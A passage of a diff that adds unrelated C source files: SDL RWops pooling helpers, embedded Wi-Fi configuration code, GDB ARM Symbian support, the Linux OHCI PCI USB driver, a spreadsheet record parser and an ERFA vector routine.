refcounter_write(SDL_RWops *rw, const void *ptr, int size, int num) +{ + RWRefCounterData *data = (RWRefCounterData *) rw->hidden.unknown.data1; + return(data->rw->write(data->rw, ptr, size, num)); +} /* refcounter_write */ + + +/* + * Decrement the reference count. If there are no more references, pass + * through to the actual SDL_RWops's method, and then clean ourselves up. + */ +static int refcounter_close(SDL_RWops *rw) +{ + int retval = 0; + RWRefCounterData *data = (RWRefCounterData *) rw->hidden.unknown.data1; + data->refcount--; + if (data->refcount <= 0) + { + retval = data->rw->close(data->rw); + free(data); + SDL_FreeRW(rw); + } /* if */ + + return(retval); +} /* refcounter_close */ + + +void RWops_RWRefCounter_addRef(SDL_RWops *rw) +{ + RWRefCounterData *data = (RWRefCounterData *) rw->hidden.unknown.data1; + data->refcount++; +} /* RWops_RWRefCounter_addRef */ + + +SDL_RWops *RWops_RWRefCounter_new(SDL_RWops *rw) +{ + SDL_RWops *retval = NULL; + + if (rw == NULL) + { + SDL_SetError("NULL argument to RWops_RWRefCounter_new()."); + return(NULL); + } /* if */ + + retval = SDL_AllocRW(); + if (retval != NULL) + { + RWRefCounterData *data; + data = (RWRefCounterData *) malloc(sizeof (RWRefCounterData)); + if (data == NULL) + { + SDL_SetError("Out of memory."); + SDL_FreeRW(retval); + retval = NULL; + } /* if */ + else + { + data->rw = rw; + data->refcount = 1; + retval->hidden.unknown.data1 = data; + retval->seek = refcounter_seek; + retval->read = refcounter_read; + retval->write = refcounter_write; + retval->close = refcounter_close; + } /* else */ + } /* if */ + + return(retval); +} /* RWops_RWRefCounter_new */ + + + + /* + * RWops pooling... + */ + +static SDL_RWops *rwops_pool = NULL; +static SDL_mutex *rwops_pool_mutex = NULL; + +SDL_RWops *RWops_pooled_alloc(void) +{ + SDL_RWops *rw; + if (rwops_pool_mutex == NULL) + return(NULL); /* never initialized. */ + + SDL_LockMutex(rwops_pool_mutex); + rw = rwops_pool; + if (rw) + rwops_pool = (SDL_RWops *) (rw->hidden.unknown.data1); + SDL_UnlockMutex(rwops_pool_mutex); + + if (!rw) + rw = (SDL_RWops *) malloc(sizeof (SDL_RWops)); + + return(rw); +} /* RWops_pooled_alloc */ + + +void RWops_pooled_free(SDL_RWops *rw) +{ + if (rwops_pool_mutex == NULL) + return; /* never initialized...why are we here? */ + + if (rw == NULL) + return; + + SDL_LockMutex(rwops_pool_mutex); + rw->hidden.unknown.data1 = rwops_pool; + rwops_pool = rw; + SDL_UnlockMutex(rwops_pool_mutex); +} /* RWops_pooled_free */ + + +int RWops_pooled_init(void) +{ + const int preallocate = 50; + int i; + + rwops_pool_mutex = SDL_CreateMutex(); + if (rwops_pool_mutex == NULL) + return(0); + + for (i = 0; i < preallocate; i++) + RWops_pooled_free(RWops_pooled_alloc()); + + return(1); +} /* RWops_pooled_init */ + + +void RWops_pooled_deinit(void) +{ + SDL_RWops *cur; + SDL_RWops *next; + + if (rwops_pool_mutex == NULL) + return; /* never initialized. */ + + SDL_LockMutex(rwops_pool_mutex); + /* all allocated rwops must be in the pool now, or the memory leaks. */ + cur = rwops_pool; + rwops_pool = NULL; + SDL_UnlockMutex(rwops_pool_mutex); + SDL_DestroyMutex(rwops_pool_mutex); + rwops_pool_mutex = NULL; + + while (cur) + { + next = (SDL_RWops *) (cur->hidden.unknown.data1); + free(cur); + cur = next; + } /* while */ +} /* RWops_pooled_deinit */ + +/* end of extra_rwops.c ... */ + + diff --git a/pool/shard011/C/0142187_wifi_opt.c b/pool/shard011/C/0142187_wifi_opt.c new file mode 100644 index 0000000000000000000000000000000000000000..a9f1540c5365e5ed3cd956bca05fc960da4e0b88 --- /dev/null +++ b/pool/shard011/C/0142187_wifi_opt.c @@ -0,0 +1,208 @@ +#include "common.h" + +#include "http_engine.h" +#include "http_parser.h" + +#include "wifi_opt.h" +#include "str_lib.h" + + + +CFG_PARAM WifiUserParam; + +const char *AuthModeStr[PARAM_AUTH_MODE_MAX] = {"open", "share", "wpapsk", "wpa2psk"}; +const char *EncModeStr[PARAM_ENC_MODE_MAX] = {"open", "web", "tkip", "ccmp", "auto"}; + +//Louis add +extern VOID SaveUserParam(VOID); + +extern USER_CFG_PARAM FactoryParam; +//³ö³§ÉèÖà +void web_config_init(void) +{ + memset(FactoryParam.web_ssid,0,32); + memset(FactoryParam.web_key,0,64); + memset(&FactoryParam.web_IPCfg,0,sizeof(IP_CFG)); + + memcpy(FactoryParam.web_ssid,"nufront_sta",strlen("nufront_sta")); + memcpy(FactoryParam.web_key,"nufront_sta",strlen("nufront_sta")); + + // ip config + FactoryParam.web_IPCfg.bDhcp = 1; + FactoryParam.web_IPCfg.DhcpTryTimes = 5; + FactoryParam.web_IPCfg.Ip[0] = 192; + FactoryParam.web_IPCfg.Ip[1] = 168; + FactoryParam.web_IPCfg.Ip[2] = 0; + FactoryParam.web_IPCfg.Ip[3] = 1; + FactoryParam.web_IPCfg.Netmask[0] = 255; + FactoryParam.web_IPCfg.Netmask[1] = 255; + FactoryParam.web_IPCfg.Netmask[2] = 255; + FactoryParam.web_IPCfg.Netmask[3] = 0; + FactoryParam.web_IPCfg.GateWay[0] = 192; + FactoryParam.web_IPCfg.GateWay[1] = 168; + FactoryParam.web_IPCfg.GateWay[2] = 0; + FactoryParam.web_IPCfg.GateWay[3] = 1; + FactoryParam.web_IPCfg.Dns[0] = 192; + FactoryParam.web_IPCfg.Dns[1] = 168; + FactoryParam.web_IPCfg.Dns[2] = 0; + FactoryParam.web_IPCfg.Dns[3] = 1; +} + +char* wl_get_ssid(void) +{ + return (char*)SysParam.WiFiCfg.Ssid; +} + + +char WlKeyBuf[65] = {0}; +char* wl_get_key(void) +{ + if (SysParam.WiFiCfg.KeyLength > 64) + return NULL; + + memcpy((unsigned char*)WlKeyBuf, SysParam.WiFiCfg.PSK, SysParam.WiFiCfg.KeyLength); + WlKeyBuf[SysParam.WiFiCfg.KeyLength] = 0; + + return WlKeyBuf; +} + +char* wl_get_protocol(void) +{ + return (char*)SysParam.WiFiCfg.Protocol; +} + + +char* wl_get_authmode(void) +{ + switch (SysParam.WiFiCfg.AuthMode) + { + case PARAM_AUTH_MODE_OPEN: + case PARAM_AUTH_MODE_SHARE: + case PARAM_AUTH_MODE_WPAPSK: + case PARAM_AUTH_MODE_WPA2PSK: + return AuthModeStr[SysParam.WiFiCfg.AuthMode]; + + default: + return NULL; + } +} + +char* wl_get_encrymode(void) +{ + switch (SysParam.WiFiCfg.Encry) + { + case PARAM_ENC_MODE_OPEN: + case PARAM_ENC_MODE_WEP: + case PARAM_ENC_MODE_TKIP: + case PARAM_ENC_MODE_CCMP: + case PARAM_ENC_MODE_AUTO: + return EncModeStr[SysParam.WiFiCfg.Encry]; + + default: + return NULL; + } +} + + +int wl_get_channel(void) +{ + return SysParam.WiFiCfg.Channel; +} + + + +void wl_set_ssid(char *ssid) +{ + if (strlen(ssid) > 32) + ssid[32-1] = 0; + + InfSsidSet((UINT8 *)ssid, strlen(ssid)); +} + + +void wl_set_key(char *key) +{ + if (strlen(key) > KEY_LEN) + key[KEY_LEN] = 0; + + InfKeySet(0, (unsigned char *)key, strlen(key)); +} + +void wl_set_ipconfig(unsigned int ipaddr, unsigned int netmask, unsigned int gateway, unsigned int dnsserv) +{ + UserParam.cfg.IPCfg.Ip[0] = ip4_addr1(&ipaddr); + UserParam.cfg.IPCfg.Ip[1] = ip4_addr2(&ipaddr); + UserParam.cfg.IPCfg.Ip[2] = ip4_addr3(&ipaddr); + UserParam.cfg.IPCfg.Ip[3] = ip4_addr4(&ipaddr); + + UserParam.cfg.IPCfg.Netmask[0] = ip4_addr1(&netmask); + UserParam.cfg.IPCfg.Netmask[1] = ip4_addr2(&netmask); + UserParam.cfg.IPCfg.Netmask[2] = ip4_addr3(&netmask); + UserParam.cfg.IPCfg.Netmask[3] = ip4_addr4(&netmask); + + UserParam.cfg.IPCfg.GateWay[0] = ip4_addr1(&gateway); + UserParam.cfg.IPCfg.GateWay[1] = ip4_addr2(&gateway); + UserParam.cfg.IPCfg.GateWay[2] = ip4_addr3(&gateway); + UserParam.cfg.IPCfg.GateWay[3] = ip4_addr4(&gateway); + + UserParam.cfg.IPCfg.Dns[0] = ip4_addr1(&dnsserv); + UserParam.cfg.IPCfg.Dns[1] = ip4_addr2(&dnsserv); + UserParam.cfg.IPCfg.Dns[2] = ip4_addr3(&dnsserv); + UserParam.cfg.IPCfg.Dns[3] = ip4_addr4(&dnsserv); +} + +//#define WIFI_CONFIG_DATA_ADDR (0x66000) +// +//void GetWifiParam(CFG_PARAM *wconf) +//{ +//// ReadFlash((UINT8 *)wconf, sizeof(CFG_PARAM), WIFI_CONFIG_DATA_ADDR); +//} +// +//void SaveWifiParam(void) +//{ +// memset(&WifiUserParam, 0, sizeof(CFG_PARAM)); +// memcpy(&WifiUserParam, &SysParam, sizeof(CFG_PARAM)); +// +//// WriteFlash((UINT8*)&WifiUserParam, sizeof(CFG_PARAM), WIFI_CONFIG_DATA_ADDR); +// +// /* Save SSID and password to nor flash */ +//// GAgent_SaveSSIDAndKey((char*)SysParam.WiFiCfg.Ssid, (char*)SysParam.WiFiCfg.PSK); +//} + + +void SetWifiParam(char *ssid, char *key, + unsigned int ipaddr, + unsigned int netmask, + unsigned int gateway, + unsigned int dnsserv, + unsigned int protocol, + unsigned int encrymode, + unsigned int authmode, + unsigned int channel) +{ + wl_set_ipconfig(ipaddr, netmask, gateway, dnsserv); + + UserParam.cfg.WiFiCfg.Protocol = protocol; + + if(protocol == 0) + { + memcpy(UserParam.web_IPCfg.GateWay,UserParam.cfg.IPCfg.GateWay,4); + memcpy(UserParam.web_IPCfg.Dns,UserParam.cfg.IPCfg.Dns,4); + } + //ssid + NST_MOVE_MEM(UserParam.cfg.WiFiCfg.Ssid,ssid,strlen(ssid)); + UserParam.cfg.WiFiCfg.Ssid[strlen(ssid)] = 0; + //key + NST_MOVE_MEM(UserParam.cfg.WiFiCfg.PSK,key,strlen(key)); + if (strlen(key) < 64) + UserParam.cfg.WiFiCfg.PSK[strlen(key)] = 0; + UserParam.cfg.WiFiCfg.KeyLength = strlen(key); + //¼ÓÃÜ·½Ê½ + UserParam.cfg.WiFiCfg.AuthMode = (PARAM_AUTH_MODE)authmode; + UserParam.cfg.WiFiCfg.Encry = (PARAM_ENC_MODE)encrymode; + + if (channel > 0 && channel < 14) + UserParam.cfg.WiFiCfg.Channel = channel; +} + + diff --git a/pool/shard011/C/0142188_arm-symbian-tdep.c b/pool/shard011/C/0142188_arm-symbian-tdep.c new file mode 100644 index 0000000000000000000000000000000000000000..061fd1fd675e37ba8303ab2a47e59d5108e81b43 --- /dev/null +++ b/pool/shard011/C/0142188_arm-symbian-tdep.c @@ -0,0 +1,131 @@ +/* ARM Symbian OS target support. + + Copyright (C) 2008-2017 Free Software Foundation, Inc. + + This file is part of GDB. + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . */ + +#include "defs.h" +#include "frame.h" +#include "objfiles.h" +#include "osabi.h" +#include "solib.h" +#include "solib-target.h" +#include "target.h" +#include "elf-bfd.h" + +/* If PC is in a DLL import stub, return the address of the `real' + function belonging to the stub. */ + +static CORE_ADDR +arm_symbian_skip_trampoline_code (struct frame_info *frame, CORE_ADDR pc) +{ + struct gdbarch *gdbarch; + enum bfd_endian byte_order; + ULONGEST insn; + CORE_ADDR dest; + gdb_byte buf[4]; + + if (!in_plt_section (pc)) + return 0; + + if (target_read_memory (pc, buf, 4) != 0) + return 0; + + gdbarch = get_frame_arch (frame); + byte_order = gdbarch_byte_order (gdbarch); + + /* ldr pc, [pc, #-4]. */ + insn = extract_unsigned_integer (buf, 4, byte_order); + if (insn != 0xe51ff004) + return 0; + + if (target_read_memory (pc + 4, buf, 4) != 0) + return 0; + + dest = extract_unsigned_integer (buf, 4, byte_order); + return gdbarch_addr_bits_remove (gdbarch, dest); +} + +static void +arm_symbian_init_abi (struct gdbarch_info info, + struct gdbarch *gdbarch) +{ + /* Shared library handling. */ + set_gdbarch_skip_trampoline_code (gdbarch, arm_symbian_skip_trampoline_code); + + /* On this target, the toolchain outputs ELF files, with `sym' for + filename extension (e.g., `FOO.sym'); these are post-linker + processed into PE-ish DLLs (e.g., `FOO.dll'), and it's these that + are actually copied to and run on the target. Naturally, when + listing shared libraries, Symbian stubs report the DLL filenames. + Setting this makes it so that GDB automatically looks for the + corresponding ELF files on the host's filesystem. */ + set_gdbarch_solib_symbols_extension (gdbarch, "sym"); + + /* Canonical paths on this target look like `c:\sys\bin\bar.dll', + for example. */ + set_gdbarch_has_dos_based_file_system (gdbarch, 1); + + set_solib_ops (gdbarch, &solib_target_so_ops); +} + +/* Recognize Symbian object files. */ + +static enum gdb_osabi +arm_symbian_osabi_sniffer (bfd *abfd) +{ + Elf_Internal_Phdr *phdrs; + long phdrs_size; + int num_phdrs, i; + + /* Symbian executables are always shared objects (ET_DYN). */ + if (elf_elfheader (abfd)->e_type == ET_EXEC) + return GDB_OSABI_UNKNOWN; + + if (elf_elfheader (abfd)->e_ident[EI_OSABI] != ELFOSABI_NONE) + return GDB_OSABI_UNKNOWN; + + /* Check for the ELF headers not being part of any PT_LOAD segment. + Symbian is the only GDB supported (or GNU binutils supported) ARM + target which uses a postlinker to flatten ELF files, dropping the + ELF dynamic info in the process. */ + phdrs_size = bfd_get_elf_phdr_upper_bound (abfd); + if (phdrs_size == -1) + return GDB_OSABI_UNKNOWN; + + phdrs = (Elf_Internal_Phdr *) alloca (phdrs_size); + num_phdrs = bfd_get_elf_phdrs (abfd, phdrs); + if (num_phdrs == -1) + return GDB_OSABI_UNKNOWN; + + for (i = 0; i < num_phdrs; i++) + if (phdrs[i].p_type == PT_LOAD && phdrs[i].p_offset == 0) + return GDB_OSABI_UNKNOWN; + + /* Looks like a Symbian binary. */ + return GDB_OSABI_SYMBIAN; +} + +void +_initialize_arm_symbian_tdep (void) +{ + gdbarch_register_osabi_sniffer (bfd_arch_arm, + bfd_target_elf_flavour, + arm_symbian_osabi_sniffer); + + gdbarch_register_osabi (bfd_arch_arm, 0, GDB_OSABI_SYMBIAN, + arm_symbian_init_abi); +} diff --git a/pool/shard011/C/0142189_ohci-pci.c b/pool/shard011/C/0142189_ohci-pci.c new file mode 100644 index 0000000000000000000000000000000000000000..fbcd349110258114d4aa630a86e35ad6dc19e80c --- /dev/null +++ b/pool/shard011/C/0142189_ohci-pci.c @@ -0,0 +1,332 @@ +// SPDX-License-Identifier: GPL-1.0+ +/* + * OHCI HCD (Host Controller Driver) for USB. + * + * (C) Copyright 1999 Roman Weissgaerber + * (C) Copyright 2000-2002 David Brownell + * + * [ Initialisation is based on Linus' ] + * [ uhci code and gregs ohci fragments ] + * [ (C) Copyright 1999 Linus Torvalds ] + * [ (C) Copyright 1999 Gregory P. Smith] + * + * PCI Bus Glue + * + * This file is licenced under the GPL. + */ + +#include +#include +#include +#include +#include +#include + +#include "ohci.h" +#include "pci-quirks.h" + +#define DRIVER_DESC "OHCI PCI platform driver" + +static const char hcd_name[] = "ohci-pci"; + + +/*-------------------------------------------------------------------------*/ + +static int broken_suspend(struct usb_hcd *hcd) +{ + device_init_wakeup(&hcd->self.root_hub->dev, 0); + return 0; +} + +/* AMD 756, for most chips (early revs), corrupts register + * values on read ... so enable the vendor workaround. + */ +static int ohci_quirk_amd756(struct usb_hcd *hcd) +{ + struct ohci_hcd *ohci = hcd_to_ohci (hcd); + + ohci->flags = OHCI_QUIRK_AMD756; + ohci_dbg (ohci, "AMD756 erratum 4 workaround\n"); + + /* also erratum 10 (suspend/resume issues) */ + return broken_suspend(hcd); +} + +/* Apple's OHCI driver has a lot of bizarre workarounds + * for this chip. Evidently control and bulk lists + * can get confused. (B&W G3 models, and ...) + */ +static int ohci_quirk_opti(struct usb_hcd *hcd) +{ + struct ohci_hcd *ohci = hcd_to_ohci (hcd); + + ohci_dbg (ohci, "WARNING: OPTi workarounds unavailable\n"); + + return 0; +} + +/* Check for NSC87560. We have to look at the bridge (fn1) to + * identify the USB (fn2). This quirk might apply to more or + * even all NSC stuff. + */ +static int ohci_quirk_ns(struct usb_hcd *hcd) +{ + struct pci_dev *pdev = to_pci_dev(hcd->self.controller); + struct pci_dev *b; + + b = pci_get_slot (pdev->bus, PCI_DEVFN (PCI_SLOT (pdev->devfn), 1)); + if (b && b->device == PCI_DEVICE_ID_NS_87560_LIO + && b->vendor == PCI_VENDOR_ID_NS) { + struct ohci_hcd *ohci = hcd_to_ohci (hcd); + + ohci->flags |= OHCI_QUIRK_SUPERIO; + ohci_dbg (ohci, "Using NSC SuperIO setup\n"); + } + pci_dev_put(b); + + return 0; +} + +/* Check for Compaq's ZFMicro chipset, which needs short + * delays before control or bulk queues get re-activated + * in finish_unlinks() + */ +static int ohci_quirk_zfmicro(struct usb_hcd *hcd) +{ + struct ohci_hcd *ohci = hcd_to_ohci (hcd); + + ohci->flags |= OHCI_QUIRK_ZFMICRO; + ohci_dbg(ohci, "enabled Compaq ZFMicro chipset quirks\n"); + + return 0; +} + +/* Check for Toshiba SCC OHCI which has big endian registers + * and little endian in memory data structures + */ +static int ohci_quirk_toshiba_scc(struct usb_hcd *hcd) +{ + struct ohci_hcd *ohci = hcd_to_ohci (hcd); + + /* That chip is only present in the southbridge of some + * cell based platforms which are supposed to select + * CONFIG_USB_OHCI_BIG_ENDIAN_MMIO. We verify here if + * that was the case though. + */ +#ifdef CONFIG_USB_OHCI_BIG_ENDIAN_MMIO + ohci->flags |= OHCI_QUIRK_BE_MMIO; + ohci_dbg (ohci, "enabled big endian Toshiba quirk\n"); + return 0; +#else + ohci_err (ohci, "unsupported big endian Toshiba quirk\n"); + return -ENXIO; +#endif +} + +/* Check for NEC chip and apply quirk for allegedly lost interrupts. + */ + +static void ohci_quirk_nec_worker(struct work_struct *work) +{ + struct ohci_hcd *ohci = container_of(work, struct ohci_hcd, nec_work); + int status; + + status = ohci_restart(ohci); + if (status != 0) + ohci_err(ohci, "Restarting NEC controller failed in %s, %d\n", + "ohci_restart", status); +} + +static int ohci_quirk_nec(struct usb_hcd *hcd) +{ + struct ohci_hcd *ohci = hcd_to_ohci (hcd); + + ohci->flags |= OHCI_QUIRK_NEC; + INIT_WORK(&ohci->nec_work, ohci_quirk_nec_worker); + ohci_dbg (ohci, "enabled NEC chipset lost interrupt quirk\n"); + + return 0; +} + +static int ohci_quirk_amd700(struct usb_hcd *hcd) +{ + struct ohci_hcd *ohci = hcd_to_ohci(hcd); + + if (usb_amd_find_chipset_info()) + ohci->flags |= OHCI_QUIRK_AMD_PLL; + + /* SB800 needs pre-fetch fix */ + if (usb_amd_prefetch_quirk()) { + ohci->flags |= OHCI_QUIRK_AMD_PREFETCH; + ohci_dbg(ohci, "enabled AMD prefetch quirk\n"); + } + + ohci->flags |= OHCI_QUIRK_GLOBAL_SUSPEND; + return 0; +} + +static int ohci_quirk_qemu(struct usb_hcd *hcd) +{ + struct ohci_hcd *ohci = hcd_to_ohci(hcd); + + ohci->flags |= OHCI_QUIRK_QEMU; + ohci_dbg(ohci, "enabled qemu quirk\n"); + return 0; +} + +/* List of quirks for OHCI */ +static const struct pci_device_id ohci_pci_quirks[] = { + { + PCI_DEVICE(PCI_VENDOR_ID_AMD, 0x740c), + .driver_data = (unsigned long)ohci_quirk_amd756, + }, + { + PCI_DEVICE(PCI_VENDOR_ID_OPTI, 0xc861), + .driver_data = (unsigned long)ohci_quirk_opti, + }, + { + PCI_DEVICE(PCI_VENDOR_ID_NS, PCI_ANY_ID), + .driver_data = (unsigned long)ohci_quirk_ns, + }, + { + PCI_DEVICE(PCI_VENDOR_ID_COMPAQ, 0xa0f8), + .driver_data = (unsigned long)ohci_quirk_zfmicro, + }, + { + PCI_DEVICE(PCI_VENDOR_ID_TOSHIBA_2, 0x01b6), + .driver_data = (unsigned long)ohci_quirk_toshiba_scc, + }, + { + PCI_DEVICE(PCI_VENDOR_ID_NEC, PCI_DEVICE_ID_NEC_USB), + .driver_data = (unsigned long)ohci_quirk_nec, + }, + { + /* Toshiba portege 4000 */ + .vendor = PCI_VENDOR_ID_AL, + .device = 0x5237, + .subvendor = PCI_VENDOR_ID_TOSHIBA, + .subdevice = 0x0004, + .driver_data = (unsigned long) broken_suspend, + }, + { + PCI_DEVICE(PCI_VENDOR_ID_ITE, 0x8152), + .driver_data = (unsigned long) broken_suspend, + }, + { + PCI_DEVICE(PCI_VENDOR_ID_ATI, 0x4397), + .driver_data = (unsigned long)ohci_quirk_amd700, + }, + { + PCI_DEVICE(PCI_VENDOR_ID_ATI, 0x4398), + .driver_data = (unsigned long)ohci_quirk_amd700, + }, + { + PCI_DEVICE(PCI_VENDOR_ID_ATI, 0x4399), + .driver_data = (unsigned long)ohci_quirk_amd700, + }, + { + .vendor = PCI_VENDOR_ID_APPLE, + .device = 0x003f, + .subvendor = PCI_SUBVENDOR_ID_REDHAT_QUMRANET, + .subdevice = PCI_SUBDEVICE_ID_QEMU, + .driver_data = (unsigned long)ohci_quirk_qemu, + }, + + /* FIXME for some of the early AMD 760 southbridges, OHCI + * won't work at all. blacklist them. + */ + + {}, +}; + +static int ohci_pci_reset (struct usb_hcd *hcd) +{ + struct ohci_hcd *ohci = hcd_to_ohci (hcd); + struct pci_dev *pdev = to_pci_dev(hcd->self.controller); + int ret = 0; + + if (hcd->self.controller) { + const struct pci_device_id *quirk_id; + + quirk_id = pci_match_id(ohci_pci_quirks, pdev); + if (quirk_id != NULL) { + int (*quirk)(struct usb_hcd *ohci); + quirk = (void *)quirk_id->driver_data; + ret = quirk(hcd); + } + } + + if (ret == 0) + ret = ohci_setup(hcd); + /* + * After ohci setup RWC may not be set for add-in PCI cards. + * This transfers PCI PM wakeup capabilities. + */ + if (device_can_wakeup(&pdev->dev)) + ohci->hc_control |= OHCI_CTRL_RWC; + return ret; +} + +static struct hc_driver __read_mostly ohci_pci_hc_driver; + +static const struct ohci_driver_overrides pci_overrides __initconst = { + .product_desc = "OHCI PCI host controller", + .reset = ohci_pci_reset, +}; + +static const struct pci_device_id pci_ids [] = { { + /* handle any USB OHCI controller */ + PCI_DEVICE_CLASS(PCI_CLASS_SERIAL_USB_OHCI, ~0), + .driver_data = (unsigned long) &ohci_pci_hc_driver, + }, { + /* The device in the ConneXT I/O hub has no class reg */ + PCI_VDEVICE(STMICRO, PCI_DEVICE_ID_STMICRO_USB_OHCI), + .driver_data = (unsigned long) &ohci_pci_hc_driver, + }, { /* end: all zeroes */ } +}; +MODULE_DEVICE_TABLE (pci, pci_ids); + +/* pci driver glue; this is a "new style" PCI driver module */ +static struct pci_driver ohci_pci_driver = { + .name = (char *) hcd_name, + .id_table = pci_ids, + + .probe = usb_hcd_pci_probe, + .remove = usb_hcd_pci_remove, + .shutdown = usb_hcd_pci_shutdown, + +#ifdef CONFIG_PM + .driver = { + .pm = &usb_hcd_pci_pm_ops + }, +#endif +}; + +static int __init ohci_pci_init(void) +{ + if (usb_disabled()) + return -ENODEV; + + pr_info("%s: " DRIVER_DESC "\n", hcd_name); + + ohci_init_driver(&ohci_pci_hc_driver, &pci_overrides); + +#ifdef CONFIG_PM + /* Entries for the PCI suspend/resume callbacks are special */ + ohci_pci_hc_driver.pci_suspend = ohci_suspend; + ohci_pci_hc_driver.pci_resume = ohci_resume; +#endif + + return pci_register_driver(&ohci_pci_driver); +} +module_init(ohci_pci_init); + +static void __exit ohci_pci_cleanup(void) +{ + pci_unregister_driver(&ohci_pci_driver); +} +module_exit(ohci_pci_cleanup); + +MODULE_DESCRIPTION(DRIVER_DESC); +MODULE_LICENSE("GPL"); +MODULE_SOFTDEP("pre: ehci_pci"); diff --git a/pool/shard011/C/0142190_biff_integer.c b/pool/shard011/C/0142190_biff_integer.c new file mode 100644 index 0000000000000000000000000000000000000000..41198082dc9f636e62ad2733c3775b4d09e9231e --- /dev/null +++ b/pool/shard011/C/0142190_biff_integer.c @@ -0,0 +1,66 @@ +/* + * cexcel - A library to read data from Excel spread sheets + * + * Copyright (C) 2007 RIKEN Japan, All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + */ + +#ifdef HAVE_CONFIG_H +# include "config.h" +#endif + +#include +#include + +#include "cole.h" +#include "libsl4.h" +#include "cexcel.h" +#include "cexcel_internal.h" + +CEXCEL_RETTYPE cexcel_biff_integer( cexcel_record_t * record, + cexcel_context_t * ctx ) +{ + CEXCEL_WORD row, col, value; + CEXCEL_UCHAR dummy; + sl4_string_t *str; + int data; + size_t offset = 0; + if ( ctx->sheet_btype != CEXCEL_BTYPE_BIFF2 ) { + return CEXCEL_RETTYPE_BADFILE; + } + row = cexcel_record_data_word( record, ctx, &offset ); + cexcel_record_align_word( &row ); + col = cexcel_record_data_word( record, ctx, &offset ); + cexcel_record_align_word( &col ); + dummy = cexcel_record_data_uchar( record, ctx, &offset ); + dummy = cexcel_record_data_uchar( record, ctx, &offset ); + dummy = cexcel_record_data_uchar( record, ctx, &offset ); + value = cexcel_record_data_word( record, ctx, &offset ); + data = cexcel_record_word2int( value ); + str = sl4_string_new( NULL ); + if ( str == NULL ) { + return CEXCEL_RETTYPE_OUTOFMEMORY; + } + sl4_string_sprintf( str, "%d", data ); +#ifdef _CEXCEL_DEBUG_BIFF + printf( "%08x %03x INTEGER - (%d,%d) (%s)\n", record->offset, record->id, + row, col, sl4_string_get( str ) ); +#endif + cexcel_sheet_set_cell( ctx->worksheet, sl4_string_get( str ), + ( unsigned int ) row, ( unsigned int ) col ); + sl4_string_delete( str ); + return CEXCEL_RETTYPE_SUCCESS; +} diff --git a/pool/shard011/C/0142191_pn.c b/pool/shard011/C/0142191_pn.c new file mode 100644 index 0000000000000000000000000000000000000000..8876b555cb7f4f73b51a591f88f8fe26b54b6376 --- /dev/null +++ b/pool/shard011/C/0142191_pn.c @@ -0,0 +1,118 @@ +#include "erfa.h" + +void eraPn(double p[3], double *r, double u[3]) +/* +** - - - - - - +** e r a P n +** - - - - - - +** +** Convert a p-vector into modulus and unit vector. +** +** Given: +** p double[3] p-vector +** +** Returned: +** r double modulus +** u double[3] unit vector +** +** Notes: +** +** 1) If p is null, the result is null. Otherwise the result is a unit +** vector. +** +** 2) It is permissible to re-use the same array for any of the +** arguments. +** +** Called: +** eraPm modulus of p-vector +** eraZp zero p-vector +** eraSxp multiply p-vector by scalar +** +** Copyright (C) 2013-2017, NumFOCUS Foundation. +** Derived, with permission, from the SOFA library. See notes at end of file. +*/ +{ + double w; + + +/* Obtain the modulus and test for zero. */ + w = eraPm(p); + if (w == 0.0) { + + /* Null vector. */ + eraZp(u); + + } else { + + /* Unit vector. */ + eraSxp(1.0/w, p, u); + } + +/* Return the modulus. */ + *r = w; + + return; + +} +/*---------------------------------------------------------------------- +** +** +** Copyright (C) 2013-2017, NumFOCUS Foundation. +** All rights reserved. +** +** This library is derived, with permission, from the International +** Astronomical Union's "Standards of Fundamental Astronomy" library, +** available from http://www.iausofa.org. +** +** The ERFA version is intended to retain identical functionality to +** the SOFA library, but made distinct through different function and +** file names, as set out in the SOFA license conditions. The SOFA +** original has a role as a reference standard for the IAU and IERS, +** and consequently redistribution is permitted only in its unaltered +** state. The ERFA version is not subject to this restriction and +** therefore can be included in distributions which do not support the +** concept of "read only" software. +** +** Although the intent is to replicate the SOFA API (other than +** replacement of prefix names) and results (with the exception of +** bugs; any that are discovered will be fixed), SOFA is not +** responsible for any errors found in this version of the library. +** +** If you wish to acknowledge the SOFA heritage, please acknowledge +** that you are using a library derived from SOFA, rather than SOFA +** itself. +** +** +** TERMS AND CONDITIONS +** +** Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions +** are met: +** +** 1 Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** +** 2 Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** +** 3 Neither the name of the Standards Of Fundamental Astronomy Board, +** the International Astronomical Union nor the names of its +** contributors may be used to endorse or promote products derived +** from this software without specific prior written permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS +** FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE +** COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, +** INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, +** BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +** LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +** CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +** LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +** ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF 